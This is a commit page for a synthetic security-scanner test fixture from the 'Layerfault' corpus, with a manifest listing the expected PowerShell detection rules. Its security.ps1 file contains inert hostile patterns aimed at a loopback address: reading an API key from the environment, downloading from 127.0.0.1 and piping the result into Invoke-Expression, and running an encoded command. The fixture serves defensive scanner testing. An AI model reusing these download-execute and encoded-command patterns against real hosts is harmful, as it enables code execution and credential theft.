Publish Layerfault synthetic corpus LF-CORPUS-PS-0001
Browse files- LAYERFAULT_CORPUS.json +29 -0
- README.md +63 -0
- SHA256SUMS.json +22 -0
- model.safetensors +3 -0
- security.ps1 +9 -0
LAYERFAULT_CORPUS.json
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"candidate_rules": [
|
| 3 |
+
"LF-PS-DOWNLOAD",
|
| 4 |
+
"LF-PS-ENCODED-COMMAND",
|
| 5 |
+
"LF-PS-INVOKE-EXPRESSION"
|
| 6 |
+
],
|
| 7 |
+
"corpus_id": "LF-CORPUS-PS-0001",
|
| 8 |
+
"description": "PowerShell package with synthetic credential access, dynamic code, loopback download/execute syntax, native load, process, encoded command and package-install syntax.",
|
| 9 |
+
"expected_rules": [
|
| 10 |
+
"LF-PS-SEMANTIC-CREDENTIAL-ACCESS",
|
| 11 |
+
"LF-PS-SEMANTIC-DOWNLOAD-EXECUTE",
|
| 12 |
+
"LF-PS-SEMANTIC-DYNAMIC-CODE",
|
| 13 |
+
"LF-PS-SEMANTIC-NATIVE-LOAD",
|
| 14 |
+
"LF-PS-SEMANTIC-NETWORK",
|
| 15 |
+
"LF-PS-SEMANTIC-PACKAGE-INSTALL",
|
| 16 |
+
"LF-PS-SEMANTIC-PROCESS"
|
| 17 |
+
],
|
| 18 |
+
"generator": "packages.powershell_chain",
|
| 19 |
+
"ground_truth": "synthetic-generated",
|
| 20 |
+
"must_not_rules": [],
|
| 21 |
+
"repo_name": "powershell-capability-chain",
|
| 22 |
+
"repo_type": "model",
|
| 23 |
+
"safety": "inert/canary-only",
|
| 24 |
+
"schema": 1,
|
| 25 |
+
"validation": {
|
| 26 |
+
"kind": "verify-package",
|
| 27 |
+
"target": "."
|
| 28 |
+
}
|
| 29 |
+
}
|
README.md
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: apache-2.0
|
| 3 |
+
tags:
|
| 4 |
+
- layerfault
|
| 5 |
+
- security-research
|
| 6 |
+
- model-security
|
| 7 |
+
- synthetic
|
| 8 |
+
- adversarial-testing
|
| 9 |
+
extra_gated_prompt: >-
|
| 10 |
+
This repository is a synthetic security-test artifact from the Layerfault
|
| 11 |
+
corpus. It intentionally contains adversarial characteristics (e.g.
|
| 12 |
+
suspicious pickle opcodes, executable-format smuggling, prompt-injection
|
| 13 |
+
strings) designed to exercise security scanner detection rules. It is
|
| 14 |
+
**not** a usable ML model and must never be loaded or executed outside an
|
| 15 |
+
isolated scanner-testing environment. By accepting, you confirm you
|
| 16 |
+
understand this repository is a test fixture, not production model
|
| 17 |
+
weights.
|
| 18 |
+
extra_gated_button_content: I understand this is a security test fixture and accept the risk
|
| 19 |
+
gated: auto
|
| 20 |
+
---
|
| 21 |
+
|
| 22 |
+
# powershell-capability-chain
|
| 23 |
+
|
| 24 |
+
> **SECURITY TEST ARTIFACT — DO NOT USE AS A PRODUCTION MODEL**
|
| 25 |
+
|
| 26 |
+
This repository is part of the Layerfault synthetic security corpus.
|
| 27 |
+
It is deliberately constructed to contain security-relevant characteristics for scanner testing.
|
| 28 |
+
|
| 29 |
+
**Corpus ID:** `LF-CORPUS-PS-0001`
|
| 30 |
+
|
| 31 |
+
## Purpose
|
| 32 |
+
|
| 33 |
+
PowerShell package with synthetic credential access, dynamic code, loopback download/execute syntax, native load, process, encoded command and package-install syntax.
|
| 34 |
+
|
| 35 |
+
## Direct expected Layerfault rules
|
| 36 |
+
|
| 37 |
+
- `LF-PS-SEMANTIC-CREDENTIAL-ACCESS`
|
| 38 |
+
- `LF-PS-SEMANTIC-DOWNLOAD-EXECUTE`
|
| 39 |
+
- `LF-PS-SEMANTIC-DYNAMIC-CODE`
|
| 40 |
+
- `LF-PS-SEMANTIC-NATIVE-LOAD`
|
| 41 |
+
- `LF-PS-SEMANTIC-NETWORK`
|
| 42 |
+
- `LF-PS-SEMANTIC-PACKAGE-INSTALL`
|
| 43 |
+
- `LF-PS-SEMANTIC-PROCESS`
|
| 44 |
+
|
| 45 |
+
## Candidate rules
|
| 46 |
+
|
| 47 |
+
These are deliberately plausible targets that remain marked as candidates until the exact
|
| 48 |
+
Layerfault build used for certification confirms them.
|
| 49 |
+
|
| 50 |
+
- `LF-PS-DOWNLOAD`
|
| 51 |
+
- `LF-PS-ENCODED-COMMAND`
|
| 52 |
+
- `LF-PS-INVOKE-EXPRESSION`
|
| 53 |
+
|
| 54 |
+
## Negative-control rules
|
| 55 |
+
|
| 56 |
+
These should remain silent for this corpus item.
|
| 57 |
+
|
| 58 |
+
- None
|
| 59 |
+
|
| 60 |
+
## Safety
|
| 61 |
+
|
| 62 |
+
The corpus uses fake secrets, loopback/`.invalid` network destinations, harmless marker output,
|
| 63 |
+
and synthetic model behavior only. It is intended for static scanning and isolated security testing.
|
SHA256SUMS.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
[
|
| 2 |
+
{
|
| 3 |
+
"path": "LAYERFAULT_CORPUS.json",
|
| 4 |
+
"sha256": "525a4fbcaeb56f4e7bbade6429c2a8bd15d9223998d95f43266594f062194e2d",
|
| 5 |
+
"size": 905
|
| 6 |
+
},
|
| 7 |
+
{
|
| 8 |
+
"path": "README.md",
|
| 9 |
+
"sha256": "906590e1e606fd627f0277997dacb129546beef820166c10e1355ec7b19a5798",
|
| 10 |
+
"size": 2043
|
| 11 |
+
},
|
| 12 |
+
{
|
| 13 |
+
"path": "model.safetensors",
|
| 14 |
+
"sha256": "d2ca18b298651a52fc6fc6d7cf90df5a4b05586832277686f5681ee524af58b0",
|
| 15 |
+
"size": 856
|
| 16 |
+
},
|
| 17 |
+
{
|
| 18 |
+
"path": "security.ps1",
|
| 19 |
+
"sha256": "a5afa9a44029ae068594883b430b03666e4988dd965cbf5f7daff09778500275",
|
| 20 |
+
"size": 565
|
| 21 |
+
}
|
| 22 |
+
]
|
model.safetensors
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:d2ca18b298651a52fc6fc6d7cf90df5a4b05586832277686f5681ee524af58b0
|
| 3 |
+
size 856
|
security.ps1
ADDED
|
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
$fake = $env:LAYERFAULT_SYNTHETIC_API_KEY
|
| 2 |
+
Invoke-Expression "'LAYERFAULT_CANARY'"
|
| 3 |
+
Invoke-WebRequest -Uri "http://127.0.0.1:9" | Invoke-Expression
|
| 4 |
+
Invoke-WebRequest -Uri "http://127.0.0.1:9/status"
|
| 5 |
+
Start-Process -FilePath "cmd.exe" -ArgumentList "/c echo LAYERFAULT_CANARY"
|
| 6 |
+
Add-Type -TypeDefinition "public class LayerfaultSyntheticNative {}"
|
| 7 |
+
Get-Credential -Message "layerfault synthetic canary"
|
| 8 |
+
powershell.exe -EncodedCommand VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAEwAQQBZAEUAUgBGAEEAVQBMAFQAXwBDAEEATgBBAFIAWQAnAA==
|
| 9 |
+
Install-Module -Name LayerfaultSynthetic -WhatIf
|